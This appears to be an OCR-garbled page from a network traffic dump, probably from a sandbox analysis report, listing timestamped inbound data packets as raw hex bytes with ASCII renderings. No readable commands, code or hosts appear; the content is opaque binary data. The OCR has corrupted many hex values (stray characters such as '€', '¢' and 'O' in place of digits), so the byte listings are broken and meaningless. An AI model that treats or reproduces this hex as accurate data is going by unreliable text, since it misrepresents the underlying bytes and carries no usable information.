Data Ascii: ku V.W58RFQXK]!',F&';pMzJ;7LZZ+ek_3B0A,g +B~GvBWVrlizP4rH\U\EA4wSH[BAJ=IZ?Hgma9a=jxQ!qi6Y
RAp

2021-10-13 13:51:48 UTC 302 IN Data Raw: 48 42 8d ea 63 5b b6 57 1c 6f 0a 3 f0 59 ce 66 d1 ad 8e c6 2a 82 59 9e 93 06 ee eb 5b 81 43 6¢ 1le ea 34 c6
5c b7 9f 46 05 6f €8 62 4b 72 d4 cd 3f d1 67 Oe a5 89 f4 1d 50 6a db 99 cb d3 da 73 ff 25 48 45 86 de €6 8b a4 16 51 47
2bc9 dd d7 48 36 74 c6 a7 75 69 ed 68 44 42 a9 bd ef 36 2a al 6d 91 f7 11 4b 76 ca e2 22 f6 83 Ob 82 ce 6d 34 c3 51 €9
7458 98 27 29 5e c0 8b fe 9d f9 ac a4 ab f9 78 2f 7f 86 a6 29 01 c6 55 34 b8 4d 6¢ 61 1b eb e6 bd bd bb 49 4c b1 39 44
fa 7e 5d 00 c0 54 15 da bc 9e 39 25 93 69 ee 2d cd 89 99 81 ed f3 99 4c a0 ef al 74 ef 3d 8b c0 32 dc 28 23 42 f1 a5 ee
25 7d 2e 9d 23 9e 85 99 eb 23 78 06 cf dc 34 a9 ac 75 05 ec eb 8f ef be ed ee d9 3a e7 87 ee ba f2 d8 40 ad 2a ee 2c cb
91 a8 d4 8a 7529 10 ed 64 9e cf c1 08 f4 93 71 ae ed aa
Data Ascii: HBc[WoY{*Y[CI4\FobKr?gPjs%HEQG+H6tuihDB6*mKv'm4QtX') x/)U4MIalL9D~]T9%i-Lt=2(#B%}.##x4u:
@*u)dg

2021-10-13 13:51:48 UTC 303 IN Data Raw: 72 74 2c 46 €6 89 71 €0 19 52 49 9¢ 92 al a6 le 9b f3 8a eb 3c b6 49 c9 93 7f 7f 31 ab 7f 75 47 7 6f fb 58 1d
fOfl e7 bc 1f aa 79 f1 be 8a 51 1b 46 19 cb a2 44 34 44 bb 57 52 60 ee 8c b7 31 80 59 fa b5 7f af df fd 82 e3 e6 fc a7 4e
d9 21 a5 ce 12 78 e3 89 €6 27 89 26 fe 09 da d9 bc 54 b9 6e ac 99 1d c3 5b 01 54 66 b9 77 68 b8 51 03 00 Oa 08 2a e7
68 47 2e ee 2b b0 c0 4e 2a eb 5f 52 be 22 al 78 d6 3d 09 d2 44 99 18 82 38 01 91 7 3e 8e db 75 e5 d0 7a 85 15 73 41 dc
61 ad ed d2 f9 23 02 1f 67 4c {7 9b c0 96 1f 3e €3 00 17 59 cd 59 12 cf e6 d7 4c b4 df 4d f9 ba 28 40 91 d2 47 74 f3 52 01
a3 eaf7 87 dl6cfbc7 e84l 37 8e 38 8af4 647 e8a9 483294 0d df 13 86 b7 72 44 55 e5 86 6¢ 68 22 bf ¢5 Oc 3f 19 f4
63 89 c5 eb 8e a9 1f 21 12 88 4d b3 8d d7 69 42
Data Ascii: rt,FqRI<IluGoXyQFD4DWR 1YNIX'&Tn[TfwhQ*hG.+N*_R"x=D8>uzsAa#gL>YYLM(@GtRIA78GH2rDUIh"?c!M
iB

2021-10-13 13:51:48 UTC 304 IN Data Raw: 35 d4 be 84 d3 31 7e 66 b4 8a bf 5b fb 2e dd a0 6d 99 fd db 43 47 82 cc 11 Oe 80 0d b2 ec 8d c0 7b 22 17 97
39 6a 28 31 a5 54 01 4f e6 ¢5 95 ¢3 77 5a 86 e7 f2 f1 eb 27 4f c5 72 2e 9e aa cd 38 4f bl fa 5e b5 0f b0 57 77 03 ¢9 79 11
8 06 91 ad 8a €9 70 f7 €9 03 1b 44 97 a9 a6 61 fa 7c 99 28 a6 31 9e b9 b9 dc b2 b3 d2 4d 71 3d 98 ed 7e f9 d4 bb ef f5
68 85 4b c5 ¢5 39 Oc cb f5 63 59 el ff 1a 7a Oe bf 9a 41 27 17 83 db 94 b2 a9 32 db 1e 04 d7 2e 4b ec b3 5c a7 5¢c 08 ae
74 6e 85 90 b2 ¢3 7d 60 2b 8d 13 35 05 28 74 2b 90 db 27 b3 5a f5 2¢ 57 1c e1 86 67 c0 cc c4 54 c0 f8 18 6f 22 99 e8 el
f2 b0 78 ca 16 Oe 21 09 55 55 f4 ac 35 f1 Oe 3d 18 49 7b af 3d fd 54 8e fa a2 6a 42 32 8b ca 3a ab dc 22 b5 ed 95 69 b7
b3 68 2b af f3 a2 13 fd 3d 21 a4 a6 62 28 45 ee 4e da
Data Ascii: 51~f.mCG{"9j(1TOWZ'Or.80"WwypDa|(1Mg=~hK9cYzA2.K\\tn} +5(t+'Z, WgTo"x!UU5={=T|B2:"ih+=Ib(EN

2021-10-13 13:51:48 UTC 305 IN Data Raw: 5f 1e c9 5a 76 d5 92 a6 80 81 8d Oc 61 1a 43 Oc d5 e6 af 8e 1a 79 64 c9 dc ec de 8a 07 1le 67 2a 5f 68 66 c5
79 91 7a 1a 90 93 b5 b7 35 65 cf ea 7d 38 bf 7e 3 df cb 90 d6 72 0f 98 c2 4e 57 14 35 86 8f 27 71 10 3c 8e 28 3b 04 71
04 09 af 41 68 89 7c 33 f3 51 84 b0 71 fO 6f d8 34 c8 d9 48 ae c6 87 c9 7f ed d4 8b 76 53 25 b5 62 75 98 4f 71 f6 7f c4 14
90 39 3c 24 ¢3 e0 92 46 27 f3 ab 5b df 77 2e f1 1e e6 7e c5 1c 25 72 50 8b ad 5¢c Oe 64 64 €0 c4 7a Ob bd c7 4d 89 f1 b4
d5 51 8f a5 84 d1 76 cf b3 32 5a 09 26 f0 10 9f 35 e3 bf fa e5 23 bd ¢3 72 f1 b7 d2 96 b5 5f 72 19 40 f0 dd 79 88 b6 2e 3b
bf 7a 44 56 ce 7b ca b8 de 30 a2 e9 68 ab 1f 76 bb 67 ce 67 72 e4 06 f1 90 7a eb 2c 7c Oc 1b df d2 5b 13 22 f1 a6 31 ba
6d b3 66 24 4a 66 03 a2 d6 c4 93 49 07 22 5f 90 3e
Data Ascii: _ZvaCydg*_hfyz5e}8~rNW5'q<(;gAh|3Qqo4HvS%buOq9<$F'[w.~%rP\ddzMQv2Z&5#r_r@y.;zDV{0Ohvggrz,|
["Imf$afl"_>

2021-10-13 13:51:48 UTC 306 IN Data Raw: 13 06 48 54 0f 92 6d 30 da bf c4 a4 55 f3 3d a5 bf 13 35 93 40 Oa ec 60 1d d2 9d a4 db 3f 33 f4 b9 ab d0 f8 0a
ca 13 d7 65 3a 5e 6b c8 1c 20 80 f4 5f ce bb be c9 7e 7f 44 6a 1e 72 3a 56 28 32 f5 fd 25 1d le c0 41 8b 21 al 80 83 07
3b 03 12 62 cc 64 fa 89 d3 5b 3e 7c 9 b6 72 83 ef ac dO 7c 84 18 b2 6a 52 Oc 4c f4 c6 5f 69 7b 67 a8 68 58 58 27 73 6b
11 4b 92 6b ba 45 25 60 55 ed c5 48 34 dd d7 db el fO eb 65 fd cO 6a 33 05 66 55 1f ee dd 76 ad 2e c2 63 e5 66 f1 6e bd
24 1b ed 09 08 11 5a 12 c6 1e 88 4d e4 74 8e 92 1b 5f 89 3¢ 12 e2 fa 23 f0 a2 2e 0d c5 d1 da 94 a4 40 4b b1 Oc 60 la 85
62 c6 0d 2b 80 e7 Of 16 7b 33 fc 85 64 db ef 07 4e b0 bc a8 fd 44 f1 bd bd bc 29 9e 7 9f 13 aa 92 97 f5 b0 d9 85 6f 06 ef
b6 e8 25 b4 2b 1f 2d 59 85 88 cc bd 03 db 12 51 c2
Data Ascii: HTmOU=5@ ?3e:"k _~Djr:V(2%A!;bd[>|r[jRL_i{ghXX'skKkE% UH4ej3fUv.cfn$ZMt_<# @K b+{3dND)0%+-YQ

2021-10-13 13:51:48 UTC 307 IN Data Raw: 76 cf c2 b8 9b 21 19 c8 85 f6 f8 8e 9e 97 5f 37 5a 29 d7 10 39 6f de 59 06 4c 9c cd 97 52 7f 10 e0 9b 57 12 a7
fd 0d 32 Oe a6 a3 f1 {3 fa 64 2a 8¢ 39 6a 42 e9 6f 2a f8 f1 74 e5 66 7d e2 4a c3 51 06 ed 65 a5 69 0d 3d c3 13 e9 00 1b 11
df 1d bc 94 d3 c¢8 bd bc 39 a8 13 al 2f 03 31 de ef 18 ¢3 25 ac €9 d2 9c e8 be 69 1d 15 c5 7 f7 34 d5 61 07 a8 2c 29 71
97 38 11 7d d7 47 37 fc df 32 ee 52 aa ¢8 55 54 15 41 48 {6 0f 8c da 3f 62 a9 19 df a9 ee 2c¢ 34 bf df ea e3 f1 4a b1 dd bc
84 25 32 7d b3 86 2a d7 b5 4f c5 cb 33 31 70 39 44 2e bd fa 37 1b b3 71 7b ee fb a2 cc 1f c9 38 43 a5 d6 d0 e6 72 3d 45
9d 50 29 2d ab 6¢ 21 4a df ch a3 9f 75 3f ec 32 b2 b7 1d 2e c5 5¢ 92 e4 73 3f b6 b7 40 ed 1c ef 2b 89 d1 9f 97 46 f2 bb 79
cc 82 ¢5 d2 98 c9 c2 ba a9 a0 fd fa 8d 7d 64
Data Ascii: v!_7Z)90YLRW2d*9jBo*tf}JQei=9/1%i4a,)q8}G72RUTAH?b,4J%2}*O31p9D.7q{8Cr=EP)-I1Ju?2.\s?@+Fy}d
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 309 IN Data Raw: eb b4 ca de 5a 25 10 56 ac a6 7e 44 81 01 3a 51 fb 8f 3f 5¢ 23 af b7 6f 7a f3 44 6d 6b 53 a3 89 97 97 bc c4 00
8a 7c e6 9c 84 92 87 ef c8 c4 df 45 cc 5b 58 cf 96 ce cc 9d 42 ad 5¢ e3 45 90 88 83 6d 70 5b ¢3 53 56 93 18 8d 91 a8 c2
66 cb 92 32 00 ae e7 c8 0a 4a 24 ab 68 d6 32 31 99 aa 10 37 fd 01 d6 23 dd f1 43 16 b2 ff 3f 74 e2 cc 48 53 48 dd 42 fO
be bb 6b a6 6d 93 39 93 76 ec bd 90 9e dO 08 e4 0f 2a 28 35 8e e0 a6 ae 57 be 39 66 92 20 dd 8a 47 c3 12 cf fd 48 b1 d8
bf 7c 8d 87 b5 44 10 al 2c f2 16 80 a8 fd 9e d8 35 4b 52 04 7c eb 91 dc 9d 76 22 e8 7c 41 4f b3 2f 1b 29 92 23 al 33 3b
77 52 88 3c 26 d7 b4 ec b3 cb ba 2e fa 82 bd 16 51 e6 43 ee df 04 94 bc 92 11 ce 53 74 ee dc 43 9a ae a9 39 14 7 0d 44
ac 3e 75 0e bl 1a 41 af ed 59 7e 95 6f 36 5d 85 fO c1
Data Ascii: Z%V~D:Q?\#0zDmkS|E[XB\Emp[SV{2J$h217#C?tHSHBkm9v*(5W9f GH|D,5KR|v"|AO/)#3;WwR<&.QCStCID>u
AY~06]

2021-10-13 13:51:48 UTC 310 IN Data Raw: c9 aa e9 f6 9b da 8d 5b fa 33 ec 42 60 f5 5b el 7b Oe 12 47 18 3b a0 26 75 32 bb a0 95 fa b2 a8 88 e8 79 fc e0
a3 a2 23abe4 4bal 5¢c 98 de 7c e0 e0 a0 d5 7a 4b 83 33 a0 2d cf 36 41 e0 80 3f 9a 9e b8 9e 5a 5f 2¢ 20 65 06 de a0 35
19 92 a3 5a e7 da ff 40 7d 12 28 87 4c 07 9e 76 Oc b1 b8 2e f7 1b 17 cf 2e f7 bl 7d a7 51 00 23 29 e3 3a 13 €8 58 2a 95
ce 77 bc a0 01 69 a9 53 ca 97 08 26 51 1d 77 da 2e 6¢ 42 38 15 41 c9 3e 5¢ d4 f1 04 86 98 €0 a4 7c 52 16 dO 23 ce c9 7d
Oe 07 b5 ce 66 7f 8d bc ac c0 92 29 9a 1c 43 09 5¢ 10 75 0Of dc 86 ed 14 fO 2f 43 86 a9 6¢ 24 bd a2 cb 7 b8 12 6d c4 29
5d 02 eb 5b fb 5d 1e a6 57 a3 b5 8¢ 93 b6 2b 85 6e ba ee 16 71 dd a6 2d 62 33 8d 3f 29 90 f3 b7 29 41 64 1d 1d ce a3 8f
7e 9b Oc 70 e0 bb ea f0 56 a7 85 09 4b ac 20 14 2f c4
Data Ascii: [3B[{G; &u2y#K\[zK3-6A?Z_, e5Z@}(Lv..}Q#):X*wiS&Qw.IB8A>\|R#}f)C\u/CI$m)][JW+ng-b3?))Ad~pVK /

2021-10-13 13:51:48 UTC 311 IN Data Raw: eb 07 8 4f c¢6 c1 13 ¢5 65 a3 68 fc 77 84 29 e0 00 5b 2e e2 4b 7a 1d a7 a0 00 28 el 7a 7 fe 2c 6d 21 2c el a9
90 fc 79 ca 62 bc 1b 4f 77 5f a2 19 39 f7 1f c8 a5 b9 82 9c 83 b3 a6 5e 40 b4 0d b3 61 3e 88 8f 49 d9 19 5a 49 ac 10 84 b4
7c eb 1d 20 4a 45 80 74 e1 09 e9 8d c3 84 63 d6 bb 44 b5 61 Oe 4b 21 da 72 05 36 fd dc 09 1b 12 06 bf 5d a2 35 aa a9 2c
¢354 2d cc 6f 75 15 5a dd dc 54 d3 56 5e f3 a8 bc d6 ee 7c a2 14 60 73 4d 25 2d 44 5f ef 7e 99 Oc dd 6a a0 e4 b3 f3 04
ae 8b ba d3 9a 49 00 5c¢ 65 54 03 02 7a 76 a2 4e df 66 9f 6b c8 7e 86 8b 06 2f 6e bc b1 2b f1 e4 d6 5b 2f a7 32 bd 6¢c f6 51
6e 1la f4 24 d5 0b 87 25 19 1b 5e b4 1a e0 83 13 8a 7c 30 44 dO fa 7d d9 85 32 5b 31 78 88 27 12 07 3a 36 45 8f 4f 14 79
78 57 22 e6 9f 74 8 32 5d e3 db f2 Of 77 de 7
Data Ascii: Oehw)[.Kz(z,m!,ybOw_9"@a>IZI| JEtcDaK!r6]5,T-ouZTV"|'sM%-D_~jl\eTzvNfk~/n+[/21Qn$%"|0D}2[1x":6EOyx
W't2]w

2021-10-13 13:51:48 UTC 312 IN Data Raw: e4 8f 90 82 d5 51 37 25 e5 31 af fa 3b b7 d7 42 aa 94 a6 39 ed 85 67 21 b5 96 a9 36 90 12 05 85 e2 75 al 4f bf
f8 6 €9 15 b3 00 6a 49 75 b7 08 63 17 bd 12 9a df 82 8c 63 fd b6 f4 26 de a8 28 76 33 04 56 5f 8a e5 6d a9 7f d3 51 2f c5
e4 22 95 5f 1e 41 ac ce 51 71 ed fc 11 65 52 Oe 56 5f cd 12 bf 34 f4 08 62 59 62 07 69 f1 69 Oc 2c 3e ee 45 f5 df 1e 2a d4
3c 17 30 bd 80 5a 10 c0 fe 25 3d 7a b6 85 f3 4f 5e 6d €9 42 9d 7f 02 7c 85 9a b9 f8 8b 8d 44 24 02 2c d5 9b ea 45 35 98
9c 6 d9 fO cc 00 6e d5 31 41 66 d1 2b 32 1a 62 fc 78 12 24 52 dc 3b 03 cf f2 e0 cf fe 0a 47 fd al 58 36 Oe da 52 72 6d 7a
10 c6 fb 57 1c 66 21 8c d0 87 fb be 2e 6b 37 f3 e0 03 c6 2e 5f 8d cc f3 1f ad 71 2a 90 al 9c 02 f8 d7 46 67 a9 fa ff 51 a2
62 8c a0 3e ba 24 28 6f d4 4d 33 09 54 d4
Data Ascii: Q7%1;B9g!6uOjlucc&(v3V_mQ/'_AQgeRV_4bYbii,>E*<0Z%=z0"mB|D$,E5n1Af+2bx$R;GX6RrmzWfl.k7._q
*FgQb>$(oM3T

2021-10-13 13:51:48 UTC 314 IN Data Raw: 45 37 41 5e 7f f8 2a 20 ee 62 44 bc 60 fe 03 95 f6 a9 93 40 ec bb 13 ce fe a8 51 3e 2f fb 6e 47 52 0f b1 6b 69
49 dd 87 5d cc f4 e2 ab 94 6b 18 28 7b 4a d9 04 f1 f4 55 ff 17 87 65 32 e8 bb 3c 8¢ f6 b0 bd 54 44 3f d0 e7 f1 53 cc 41 c7
0b 9b ¢5 81 1c 25 82 Oe 16 fe 32 04 28 0a a9 01 79 50 f7 al cf 5¢ 37 61 6a d4 a7 06 71 66 f8 da b5 67 28 cb 03 79 7e c5
d3 2a ba 8d ec 27 el 9e ff bc b8 79 09 85 fe 2e e6 ad 92 8e c2 e2 c0 71 16 75 28 3c 7a de 91 6e ca 46 {8 f7 39 30 c5 06
ab 87 2b 3e ae 07 cb ff e7 84 fd 5 50 59 d4 86 57 a6 43 79 20 ec ab 8c 01 ef 0a 05 82 03 4c 78 1d 2c b7 ee dd 62 48 90
be fd dd 85 dc e2 6¢ 29 Oe 85 ad fb 0d 93 85 bl a7 29 3b el 2e e7 3c a7 93 ¢7 33 ad 70 13 cf eb cd 91 b9 2c 4b d6 e9 57
1 12 4d 50 e3 29 2a 89 59 b0 Ob bc cc 46 6b 8e dO
Data Ascii: E7TA™ bD” @Q>/nGRKkil]k({JUe2<TD?SA%2(yP\7ajqfg(y~*'y.qu(<znF90+>PYWCy Lx,bHI));.<3p,KWMP)*YFk

2021-10-13 13:51:48 UTC 315 IN Data Raw: b7 9d e3 4f af 8e f9 20 cf da 53 f4 8a c4 6b 78 9d bc 7e 38 dd ae c1 a8 21 6f 68 d7 5d 7e 82 c1 ce 94 b6 60 b2
9c 83 c0 0d de 3b 8d 19 5d 1c f6 93 8a 10 bf d4 de 44 0d 21 01 e8 82 6e 83 88 53 3a 97 44 2e 20 f9 5a 84 32 ab 8c 41 6f
€0 1b a6 98 c5 3f df f3 4f cO d3 21 d5 10 61 51 6f 17 23 e1 13 90 63 63 5e 40 2f ec e5 fd ab 7e c¢3 26 38 a4 1f 06 5b d9 4e
4 ff 75 77 76 €5 eb 81 16 ¢4 2d cc 46 f2 a8 3d 68 8e 64 88 da ff 29 91 58 59 f7 88 42 b1 bc 4d 7b cc 23 23 78 c7 ea 42 66
a6 21 c2 cl fd e5 dc 1b 2f 27 59 Oc 89 b4 c7 9b 14 45 95 a5 3f 99 d5 76 81 af 38 3c 6f cf 34 22 c5 2f 28 6¢ f0 33 f7 19 30
b9 ae 9e 73 1b bc 2e ab 43 54 2f 9e d4 73 58 e6 71 fa b7 ea ed 8a a2 43 17 25 29 d8 9f 8f e2 41 cc 65 b2 4b a4 dc 8e bc
4a e6 09 93 cb 39 8f d7 ae 8e 16 70 94 d4 28
Data Ascii: O Skx~8!oh]~";]D!nS:D. Z2A0?0!aQo#cc @/~&8[Nuwv-F=hd)XYBM{##xBf!/'YE?v8<04"/(130s.CT/sXq
C%)AeKJI9p(

2021-10-13 13:51:48 UTC 316 IN Data Raw: ca a9 a5 0f 29 01 b7 ee 17 e5 4f 31 47 a5 40 30 d6 c6 6b 86 df 71 cc d9 8a 7f 5d f6 dc 67 Oc bd 7a 13 2d af 11
9b 02 47 4a bf 82 d3 9f bf 36 5d 2e 65 66 27 9d b6 7d d4 8b el 40 bb 7d 32 a6 8a d4 7c 41 3c c6 8f 93 76 ba bf fd 61 b6
03 a3 16 a9 c5 58 01 07 95 26 4f 24 32 49 54 ef fb e5 55 3b 9c 7b a8 09 b3 70 87 42 cf b2 2a 61 68 61 dc d1 fO 6¢ 08 6b
€7 09 88 a5 ca 66 ff 95 8b fd 5d ad f7 8b 2f cd 27 64 80 1b c9 12 de d6 75 fa 74 a2 Oc 44 a2 a4 e2 df 48 6b Oe 72 68 Oe 6a
ce c0 07 e9 83 f9 be 93 6a 53 b9 €9 59 f6 70 92 71 51 f0 23 93 bd a4 cd 71 c6 d3 fa 6 c2 d5 b8 75 49 43 d6 Of 01 21 e8
79 a3 da fa 68 d4 72 67 0d d8 33 b3 d4 91 76 d6 4b 25 f2 b1 59 b3 5 9f f1 36 f6 30 65 cO 7d 29 e2 dd 37 c3 df 1b d4 48 6a
db 4e 8e 59 7c 94 36 f8 7a 11 a0 6f 72 be 36 9d
Data Ascii: )O1G@0kq]gz-GJ6].ef }@}2|A<vaX&0$21TU;{pB*ahalkf]/dutDHkrhjjS Y pqQ#quIClyhrg3vK%Y60e}) 7H
JNY|6zor6

2021-10-13 13:51:48 UTC 318 IN Data Raw: 42 18 91 4b 80 19 19 a9 23 65 d6 56 8f 10 a6 3b c5 a3 be ea 02 18 57 8b b3 1a fb 08 b9 fd 23 6f 5b 49 87 8d
e9 5a b4 1c 0f 60 8f 24 85 5b 78 c2 5a 94 9c 6e 40 04 33 c8 61 3c 48 cf 25 13 fd 94 8a fd 13 44 2c c6 eb 97 06 00 40 2e
56 Ob d3 cd 06 ee 83 32 5b 8¢ f3 bb 78 4c d9 87 c2 Oc c2 ce 99 37 35 66 5e 1f cc aa 74 78 83 75 6a Ob dO c8 4d e4 cd 57
f3 52 f4 92 d2 69 c0 65 76 6f 5b ea 71 ce 3a 53 7a 53 20 bd 7b eb fb 30 3e 55 85 3c d1 04 29 de 9a 8a fb 71 5e 00 d7 46
a9 34 c9 d8 79 d7 26 23 8a fc bd 62 cc f2 ee 1b de eb 5a 22 00 a6 75 6e cf bf 5f d5 14 29 ff 4a cd 62 9a c4 9b 89 le c4 7b
04 13 4a d9 28 bd cc bf 70 c6 ee a3 25 90 80 73 81 1f 99 fd 80 93 ¢3 56 01 61 3d 5d e3 01 cb f2 ba 7f 18 9e f3 ee 61 22 fd
14 80 46 26 09 4e ee 7a 06 7a ad 90 58 Oa 59 67 5
Data Ascii: BK#eV;W#0[IZ $[xZn@3a<H%D,@.V2[xL75f txujMWRievo[q:SzS {0>U<)q F4y&#bZ"un_)Ib{J(p%sVa=]a
"F&NzzXYg

2021-10-13 13:51:48 UTC 319 IN Data Raw: 08 c1 73 66 0f 54 ba ed 85 dd b2 ec f3 e6 e5 f6 97 el d0 46 a0 96 05 7b 63 ee 22 51 e0 af Of da bd 99 bc dO ed
7c 34 62 54 bb b3 ab 19 dO fb e5 c7 b1 77 ¢8 09 Oc 4c 39 16 8a df 11 5e 1f 5d a5 81 0b 7d 3c 41 80 5d 65 d7 6d 36 44 33
38 b0 9d 90 33 ee 94 cf 7c 62 1d 36 39 f9 40 b5 c1 a2 e5 96 c2 78 a7 7e e5 2¢ 13 68 25 23 fd ba ab 97 d2 e4 f1 41 61 9f
d3 b4 d8 1d d7 76 2c 87 70 53 88 99 99 ad 56 a2 c4 32 6¢ fd 5e fd b4 37 b2 el fd 26 4b 2a d0 al 23 d7 e9 97 c9 e5 de 56
30 75 ae 6f 7c 84 af 22 5f f5 ee fa a7 da 78 b0 6a 31 a3 8¢ 29 2c d9 4d 76 bd e7 24 ¢7 39 7b bd 09 31 6b b4 d0 86 b8 c9
a0 4a af 3f 2a 44 46 d1 c5 8d 3e 28 33 ae 44 3f 81 fc 42 5e 9a 31 c6 8a e7 6¢ 68 fe 2e 21 fc 8d a0 31 ce 64 5a 30 51 26 a8
4a d4 e3 ad e9 71 d4 09 cf 75 9f d3 2a c3 0a 22 1d
Data Ascii: sfTF{c"Q|4bTwL9"]}<A]lem6D383|b69@x~,h%#Aav,pSV2IN7&K*#V0uo|"_xj1),Mv$9{1kI?*DF>(3D?B 1lh
.11dZ0Q&Jqu*"
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:51:48 UTC 320 IN Data Raw: 43 7b 9f 9e b3 cb d8 78 9a 02 d8 48 9d 70 38 15 58 31 aa df db f5 89 Oe 4b 5b d8 a6 fb 32 50 18 05 a2 ee 12
€957 89 33 c9 2c f6 25 25 80 4a 2b Ob a7 36 59 83 20 ae 75 9e 24 cc 9d 28 0d 71 a6 8f ba 82 9a 99 52 1f 44 6a 5f 38 cf
ae fe Of 37 1b b5 50 38 50 d4 a3 82 2c 18 a0 58 26 6d 1a b4 a9 6a 1d 8a 77 41 cc db f8 29 71 fe 5d c6 2f 14 0a 61 97 bd
59 ce e8 a5 bb 9f ba 64 bb ef bb 26 15 a7 5f 66 84 1f 11 fc eb 9b 2c 49 56 64 18 af 88 50 27 c0 57 18 03 Ob d8 ba 95 f1 06
4a 9b 92 7e b6 0a 52 84 8a f1 ba 5d 6b a3 ac 78 1d aa 1c 54 7a c0 e0 f2 73 06 28 29 b8 a2 ef 3d ea 2d 1b 81 42 42 39 91
cac7 2d 66 3c ab b9 f6 14 82 95 90 eb 42 Oc f1 57 95 75 3f 59 68 1c f9 05 4b cd 60 aa d4 f8 7e c6 7e af c7 be 71 6d Oe 62
93 9d 2d 67 03 38 be 8c e4 7b 1d 28 6b 2a 59 8e 88
Data Ascii: C{xHp8X1K[2PW3,%%J+6Y u$(qRDj_87P8P ,X&mjwA)q)/aYd&_f,IVdP'WJI~R]kxTzs()=-BB9-f<BWu?YhK'~~
gmb-g8{(k*Y

2021-10-13 13:51:48 UTC 321 IN Data Raw: f0 Oa da 4 56 19 4e d4 95 42 19 f8 52 3b 37 de 9d 05 99 12 5d 62 63 eb 73 ba f7 26 d4 60 69 5¢ 87 3 9d ee ba
93 13 b0 21 f3 9b 73 ee d1 7c 7c 13 bf da e5 6d 35 bd 00 6e 45 ea b9 33 46 22 8¢ 36 ¢4 bd 7e 92 a9 d3 a2 e2 90 8 48 bb
2313 dc cf 53 d0 54 d3 ac 25 23 9b 64 Oc a9 d3 d9 1d c1 f2 6d f0 0d 21 06 fc f5 46 cb d6 ad b3 07 d9 c7 29 ec 69 f9 31 8e
d1 76 d4 74 3¢ 91 bc 24 81 4e 1e 5e 96 ¢4 55 8 1d 44 3d 5e 45 44 5 b 28 44 09 f9 59 da 10 ¢3 03 9¢ a9 50 bb 4b 2a 99
2f 48 b4 57 2a 20 41 d6 57 83 33 64 56 a6 bc 4a a4 b4 d6 3f a3 7e 02 84 78 d6 36 53 d1 8e fd 96 af 83 12 29 47 1b al 8e
3f 87 e4 3f ¢3 5 86 12 6b cO da 6¢ 68 61 24 20 25 cc 7e af Oa ee 5d 82 8d 0f 03 dd 1c €6 15 73 39 23 ¢6 74 b4 5b 5e 53
¢5 1c 10 66 8b 52 d2 bf 87 11 ¢3 6a 1e 10 d0 52 0a
Data Ascii: VNBR;7]bcs& \'s||m5nE3F 6~H#S T%#dm!F)ilvi<$NAUD=AED(DYPKHW* AW3dVJ?~x6S)G??kIha$ %-~]s
9H["STRIR

2021-10-13 13:51:48 UTC 322 IN Data Raw: €6 93 c1 f6 ce a6 5d 1c 62 9d f8 25 83 54 d5 d6 f3 99 8e e7 31 38 Oc 5e 73 bl 4c f1 de 55 91 dc 71 12 d4 Oa c4
bf 1f 12 6b 07 a6 4c bc e5 47 9f d4 e8 b7 b3 07 al 7a 40 17 35 f8 27 f6 8¢ 69 a3 2b 71 23 f4 79 f6 dO 09 7d c8 fO d1 5¢ 15
c7 2e f1 71 03 df e3 59 d2 al bf cO ab 1d 20 ca dd a6 2c ab e9 ad 35 dd 2f af 00 fc 8c 26 58 71 cd da 64 c8 7c 8c 52 df 37
3199 2e ab 7f a4 25 el 6f 14 dc 95 33 94 ¢7 92 2a cc 22 aa 2b d9 93 f4 5b ec 1f 1d c9 7c 4d e2 6d 42 62 df e0 bb d7 6b
db d0 e2 f3 21 3a 2d 9c c8 e6 47 dc 1d d7 28 4a a0 97 4b 39 af 94 b3 4d €9 cf c¢7 17 da eb dO 75 d0 64 el d4 18 48 1b 91
5 aa 9b fd c4 a4 d7 5d 5f 33 b2 00 23 5b b9 18 €9 dc Oa cf 11 30 1f al 72 05 a7 3d 61 54 58 al a8 d1 29 1a 11 12 c7 3e
034757727071 be 6b f5 a4 ea 9c 28 19 7d 9d
Data Ascii: ]o%T18"sLUgkLGz@5'i+g#y}\.qY ,5/&Xqd|R71.%03*"+[|MmBbk!:-G(IJK9MudH]_3#[0r=aTX)>GWrpgk(}

2021-10-13 13:51:48 UTC 323 IN Data Raw: 04 6e da a6 c5 0f 53 35 41 39 1e da 82 9c c5 13 46 b0 2c d2 df df c5 1b 1b ce 76 82 ec 22 6d 20 31 5e 5f d3 21
30 79 9e 13 b7 48 ce 6b b5 49 6f 2c 46 4d 50 5f 01 45 b4 92 cf d2 a8 56 b6 cd 44 38 a6 bf 1b 4e 25 Oe b9 de 6e 32 84 00
0d 12 69 fa Oe 46 fc 9a aa af 57 96 40 dc cf df c3 14 fb 23 b0 b2 9c 03 68 45 e4 8 17 64 8e 87 e8 a3 30 9f 86 55 35 08 €8
ce 57 18 ad e4 04 18 a5 30 d0 45 87 24 4e 05 6 96 04 61 f2 06 36 99 ef €3 a8 32 33 de 5f 8d 59 99 93 €9 8d 5f b1 9f 68
7a62 71 a3 ac 76 be 04 8a e4 €0 le f0 44 20 b6 9d 1b 94 e3 €0 a2 24 19 00 f6 91 13 10 b1 d6 eb a2 0f 59 74 86 fe 0f 12
3d e4 c3 a7 a9 1b 0d 40 59 50 29 28 d1 15 ef 95 ff 60 41 d1 cc 01 e7 b3 67 be 75 2f 25 bf b3 72 62 93 04 60 96 d7 56 51
00 da 3a ea e7 be 26 Ob ab e0 1f 30 64 27 de cd 55
Data Ascii: NS5A9F,v'm 1*_!0yHklo,FMP_EVD8N%n2iFW@#hEdOUSWOE$Na623_Y_hzbqvD $Yt=@YP)('Agu/
%rb'VQ:&0d'U

2021-10-13 13:51:48 UTC 325 IN Data Raw: cb b5 ea 8a 5a 6e 6a 1a ae 67 32 Oa 1f b9 ef 34 a9 2e 2 2e 1e 04 3f d9 04 46 aa 6b 8c 2a 46 €9 9d 7a 2f ae e2
da c4 e3 44 2abc 3e 12 93 89 14 38 1c f6 1b 3d ca e6 24 5d fO b6 €7 d1 42 15 8e 2a 4d e2 Oa 1e 37 6e 59 9f 73 42 2a 7f
9f 44 29 7e eb 5d e4 e8 3b ae 6b ff f0 11 1e d8 30 ec 24 05 cc 8d f8 53 91 69 1c c2 37 85 44 1c 8c Oa cd da c3 €8 d7 de
8481 30e7 70 32 b9 ec 7a ee ba 78 38 71 6d f8 Ob e7 dc 45 76 8a bf db 85 82 54 44 bb 94 d3 59 48 56 8a 87 79 fe 96 b4
d4 8a a3 fc 0a 7c c6 25 el d8 8a 1b ad 13 b2 99 e6 39 ac a4 61 9d b9 a7 50 86 28 a9 b1 38 Oc 5a 5d d8 cc 5f 9a 3b 8 cb
